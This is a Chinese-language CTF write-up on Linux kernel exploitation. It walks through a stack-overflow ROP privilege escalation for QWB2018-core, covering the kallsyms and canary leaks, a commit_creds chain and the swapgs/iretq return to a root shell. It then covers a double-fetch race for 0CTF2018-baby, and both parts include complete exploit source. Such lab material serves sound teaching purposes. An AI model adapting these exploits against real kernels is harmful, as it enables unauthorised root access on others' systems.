初探內核(二)
kernel rop
以 QWB2018-core 為例

多了 vmlinux ,該文件可以用來尋找 gadget 進行 rop
vmlinux(“vm”代表的“virtual memory”)是一個包括linux kernel的靜態鏈接的可運行文件,編譯內核源碼得到的最原始的內核文件,未壓縮,比較大,是 EF 格式的文件。

先修改 start.sh 中的運行內存為 256m ,不然跑不起來,并且開啟了 kaslr ,即內核地址隨機化
接下來解壓 cpio 文件,然后查看 init

可以看到
cat /proc/kallsyms > /tmp/kallsyms
/proc/kallsyms 是內核提供的一個符號表,包含了動態加載的內核模塊的符號,kallsyms 抽取了內核用到的所有函數地址和非棧數據變量地址,生成了一個數據塊,作為只讀數據鏈接進 kernel image,使用root權限可以 /proc/kallsyms 查看。
雖然開啟了 kalsr,我們在 非 root 權限下也是可以讀 /tmp/kallsyms 文件,那么我們就可以得到 kernel_base 了
接下來對 core.ko 進行分析

開啟了 Canary 和 NX
接著放入 IDA
init

exit

感覺這兩個函數的調用都挺固定的
主要是 core_ioctl 函數

其中 a2 = 0x6677889B 時候調用 core_read 函數

實現了把 v5[off] 從內核空間傳輸到用戶空間 0x40 字節的功能,對 off 沒有限制,當 off = 0x40 時候,會將 canary 傳輸到用戶空間,從而泄露出來。
其中 a2 = 0x6677889C 時候對全局變量 off 進行賦值
其中 a2 = 0x6677889D 時候,調用 core_copy_func 函數

鼠標放到 63 時候會發現 a1 的數據類型的 __int64 ,63 的類型是 int ,而且臺哦用 qmemcpy 函數將數據從 name 復制 a1 字節到 v2 也就是棧上的時候, a1 也是 unsigned __int16 類型,這樣我們就可以實現一個棧溢出漏洞。
再看 ocre_write 函數

可以從用戶空間傳輸 0x800 字節到 內核空間,足夠我們寫入 rop 了。
接下來要弄清楚內核的 rop 應該要怎么寫,我們的目的是為了提權,那么我們需要用到
prepare_kernel_cred 使用指定進程的 real_cred 去構造一個新的 cred 當參數為 0 的時候,會創建一個 root 權限的 cred commit_creds 可以修改當前進程的 cred
當我們調用 prepare_kernel_cred(0) 和 commit_creds() 的時候,就可以修改當前進程的 cred ,從而提權成功了。
要順利 rop,我們還需要先泄露 kernel_base 和 canary 。
查看 /tmp/kallsyms 可以看到 startup_64 就是 kernel_base

這里我們在 exp.c 中打開該文件,然后循環讀每一行,匹配 startup_64 是否子串,如果是將前十六個字節放入另一個字符型變量中,并用 %lx 轉換為十六進制數值存放到 kernel_base 中。
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> long kernel_base = 0; void leak_kernel_base(){ FILE * fd = fopen("/tmp/kallsyms", "r"); char buf[40]; while(fgets(buf, 40, fd)){ if(strstr(buf, "startup_64")){ char hem[20]; strncpy(hem, buf, 16); sscanf(hem, "%lx", &kernel_base); printf(" kernel_base -> %lx\n", kernel_base); break; } } } int main(){ leak_kernel_base(); }
然后是泄露 canary,先設置 off = 0x40,然后將 canary 傳輸到用戶空間的變量中,就完成了泄露
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> long kernel_base = 0; long canary[8]; void leak_kernel_base(){ FILE * fd = fopen("/tmp/kallsyms", "r"); char buf[40]; while(fgets(buf, 40, fd)){ if(strstr(buf, "startup_64")){ char hem[20]; strncpy(hem, buf, 16); sscanf(hem, "%lx", &kernel_base); printf(" kernel_base -> 0x%lx\n", kernel_base); break; } } } int main(){ leak_kernel_base(); // leak canary int fd = open("/proc/core", 2); ioctl(fd, 0x6677889C, 0x40); ioctl(fd, 0x6677889B, canary); printf(" canary -> 0x%lx\n", canary[0]); }
效果

接下來就可以進行 rop 了,我們要調用 prepare_kernel_cred(0) 和 commit_creds() 這兩個函數,需要先找到這兩個函數的偏移。
可以利用 pwntools 模塊進行尋找

kenel_base 填入 checksec 檢查的 NO PIE 后面的值。
這樣我們就找到兩個函數的偏移了,我們也就能通過 rop 調用這兩個函數了
接下來要解決的是另一個問題,由于我們的棧溢出是在內核態進行的,我們需要執行完棧溢出后返回用戶態。
利用
ropper -f ./vmlinux > gadget.txt
來搜索 gadget ,主要是找到這兩個
swapgs 用來修改用戶態和內核態的gs寄存器
iretq 用來恢復用戶態執行上下文

popfq 會進行彈棧,將其放入標志寄存器中
這樣就準備充分了,可以開始編寫 exp 的棧溢出提權攻擊部分。
編寫 exp 前先了解 SMEP&SMAP 保護,SMEP 保護可以禁止內核運行用戶空間代碼,SMAP 保護可以禁止訪問用戶空間數據。
這道題目兩個保護是都沒有開啟的,所有我們可以直接在 exp 中利用 asm 編寫提權代碼,然后在內核中棧溢出執行。
void get_root(){ __asm__( "mov rdi, 0;" "mov rax, kernel_base;" "add rax, 0x9cce0;" "call rax;" "mov rdi, rax;" "mov rax, kernel_base;" "add rax, 0x9c8e0;" "call rax;" ); } void backdoor(){ system("/bin/sh"); }
在 exp.c 中添加上面兩個自定義函數
在存在棧溢出漏洞的這個函數中

可以知道 v2 距離 rbp 為 0x50,距離 canary 為 0x40,因此我們在申請一個 long 類型的數組,一個數組元素占八個字節,因此在 [8] 中存放 canary,在 [10] 存在 get_root 函數的地址。
接著還需要了解從內核態返回用戶態的時候,即利用 rop 執行 swapgs 然后執行 iretq 后,會利用 iretq 指令后面的棧數據來重置部分寄存器的值。
iretq
rip
cs
flag
rsp
s
因此我們要先保存好這些寄存器的值,好在返回用戶態的時候不出差錯,利用在用戶空間中編寫的自定義函數即可實現
long user_cs, user_ss, user_rsp, user_flag; void save_status(){ __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_flag;" ); }
然后是編寫棧溢出的攻擊數據,定義一個 long 類型的數組,在其中賦值。
最終 exp
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> long kernel_base = 0; long canary[8]; void leak_kernel_base(){ FILE * fd = fopen("/tmp/kallsyms", "r"); char buf[40]; while(fgets(buf, 40, fd)){ if(strstr(buf, "startup_64")){ char hem[20]; strncpy(hem, buf, 16); sscanf(hem, "%lx", &kernel_base); printf(" kernel_base -> 0x%lx\n", kernel_base); break; } } } void get_root(){ __asm__( "mov rdi, 0;" "mov rax, kernel_base;" "add rax, 0x9cce0;" "call rax;" "mov rdi, rax;" "mov rax, kernel_base;" "add rax, 0x9c8e0;" "call rax;" ); } void backdoor(){ system("/bin/sh"); } long user_cs, user_ss, user_rsp, user_flag; void save_status(){ __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_flag;" ); } int main(){ leak_kernel_base(); //Leak canary int fd = open("/proc/core", 2); ioctl(fd, 0x6677889C, 0x40); ioctl(fd, 0x6677889B, canary); printf(" canary -> 0x%lx\n", canary[0]); // save_status save_status(); // stack oevrflow long ROP[20]; ROP[8] = canary[0]; ROP[10] = (long)get_root; ROP[11] = kernel_base + 0xa012da; // swapgs ROP[13] = kernel_base + 0x50ac2; // iretq ROP[14] = (long)backdoor; ROP[15] = user_cs; ROP[16] = user_flag; ROP[17] = user_rsp; ROP[18] = user_ss; write(fd, ROP, sizeof(ROP)); puts("[+]success!"); ioctl(fd, 0x6677889A, 0xffffffff00000000 + sizeof(ROP)); }
最后編譯的時候要注意
gcc exp.c -static -o exp -masm=intel
攻擊效果

為了加深理解,我們動調調試看看
將斷點打到 core_copy_func 這里,然后 s 步進

可以看到此時的 rsi 指向了 name, rdi 指向了內核中拿到棧,利用 rep_movsb 指令從 name 復制數據到 內核的棧中,重復 0xa0 次(見 rcx 寄存器)
name 放著我們寫好的 rop 鏈

步進到 ret 指令

可以看到將要執行我們在用戶空間中編寫 get_root 函數
然后是兩個返回用戶態的指令 swapgs 和 iretq

接著執行 backdoor 函數,最后提權成功
如果開啟了 smep 保護呢,不能夠直接執行用戶態代碼,我們接下來參試這種做法
在 start.sh 添加這一行 -cpu kvm64,+smep \ ,并且由于 smep 保護開啟后會自動啟動 KTPI ,要關閉掉 KTPI,在 -append 參數中添加 nopti
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw nopti console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ -cpu kvm64,+smep \
在這種情況下,由于在內核態中只有執行了用戶態的 get_root 函數,因此我們修改下 get_root 函數即可。
例如
void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); /* puts("[*] root now."); */ }
kernle double fetch
以 0CTF2018-baby 為例
可以看到啟動腳本 cores =2 ,那么就可以用多線程

在 init 中發現 模塊文件是 baby.ko ,掛載設備名是 /dev/baby

接下來是分析驅動模塊

接著放入 IDA 分析
唯一有用的是這個函數

當命令為 0x6666 的時候,會將內核空間中的 flag 地址打印出來
當命令為 0x1337 的時候,會檢測傳入的結構體指針是否是用戶態地址,其結構體包含的 flag,addr 指針是否存在用戶態中,flag.len 是否與內核中 flag 長度相等
那么就是多線程競爭了,繞過 if 后用其它線程修改結構體中 flag.addr ,那么就能打印出內核中的 flag 了
不過要注意一點,在內核中的數據不會直接打印在屏幕中,需要用 dmesg 命令查看。
雖然這題知道原理,算是比較簡單,但是 exp 就不會編寫了,只能看下 wp 是怎么寫的
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> #include <pthread.h> long kernel_flag; void leak_flag(int fd){ ioctl(fd, 0x6666, 1); system("dmesg | tail > 1.txt"); FILE * fd1 = fopen("1.txt", "r"); char buf[70]; char hex[20]; while(fgets(buf, 65, fd1)){ if(strstr(buf, "Your flag is at")){ strncpy(hex, buf + 31, 16); sscanf(hex, "%lx", &kernel_flag); printf(" flag -> %lx\n", kernel_flag); break; } } fclose(fd1); } struct flag_struct{ long addr; long len; }; char fake_flag[] = "fake"; int finish = 0; void change_flag(struct flag_struct *s){ while(!finish){ s -> addr = kernel_flag; } } int main(){ int fd = open("/dev/baby", 2); leak_flag(fd); struct flag_struct flag; flag.addr = (long)fake_flag; flag.len = 33; pthread_t p1; pthread_create(&p1, NULL, change_flag, &flag); for(int i = 0; i <= 10000; i++){ ioctl(fd, 0x1337, &flag); flag.addr = (long)fake_flag; } finish = 1; system("dmesg | grep flag"); close(fd); }
編譯時候需要加入 pthread.h 文件頭,命令需要加 -lpthread 參數
gcc exp.c -static -o exp -lpthread
攻擊效果


浙公網安備 33010602011771號